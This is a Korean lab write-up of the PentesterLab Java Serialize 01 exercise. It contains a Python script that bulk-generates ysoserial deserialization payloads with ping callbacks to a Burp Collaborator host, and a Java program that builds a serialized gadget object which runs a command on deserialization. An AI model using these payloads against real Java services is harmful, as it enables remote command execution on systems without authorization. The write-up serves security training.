PentesterLab의 Java Serialize 01 문제를 해결하는 과정을 기록
이번 문제는 아래와 같이 Base64로 인코딩된 Object를 입력받아 서버에 전달하고 서버는 Source code
에 명시된 코드로 구현되어있다고 한다.
Java 역직렬화 관련된 문제는 ysoserial로 먼저 테스트하기 위해 무지성 페이로드를 생성해주는 코드를 제작했다🙄
import os
import base64
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2',
'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'Groovy1',
'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21',
'MozillaRhino1', 'Myfaces1', 'ROME', 'Spring1', 'Spring2']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_ysoserial_payload.txt', 'a').write(encoded + '\n')
generate('Windows', 'ping -n 1 win.REPLACE.moesngkhw2oricvdar2y0w8lwc23qs.burpcollaborator.net')
generate('Linux', 'ping -c 1 nix.REPLACE.moesngkhw2oricvdar2y0w8lwc23qs.burpcollaborator.net')
생성된 모든 ysoserial payload를 burp intruder에 때려박아봤으나 에러만 출력되고 Burp collaborator에는 아무 소식이 없었다...😭
이번 문제는 일반적인 라이브러리에서 발생할 수 있는 역직렬화 취약점이 아니라 직렬화의 과정을 이해하고 역직렬화 시 발생할 수 있는 문제를 파악해 직접 페이로드를 제작해야된다.
웹 페이지에서 서버 소스코드까지 친절하게 알려주었기에 해당 코드를 이용하여 base64 인코딩된 object를 생성해보겠다!
package com.pentesterlab;
import java.io.*;
import java.util.*;
public class Exploit{
public static void main( String[] args ) throws IOException {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try(ObjectOutputStream os = new ObjectOutputStream(bos)){
AnotherClass gadget = new AnotherClass("/usr/local/bin/score 4fb8c3cf-75a6-4f67-b4b2-d84376a24afd");
os.writeObject(gadget);
String base64 = Base64.getEncoder().encodeToString(bos.toByteArray());
System.out.println(base64);
}
}
}
생성된 payload를 전달하면 역직렬화가 진행되면서 AnotherClass의 객체를 전달하고 readObject 메서드가 실행될 때 생성자에서 지정한 command가 실행된다. (끗)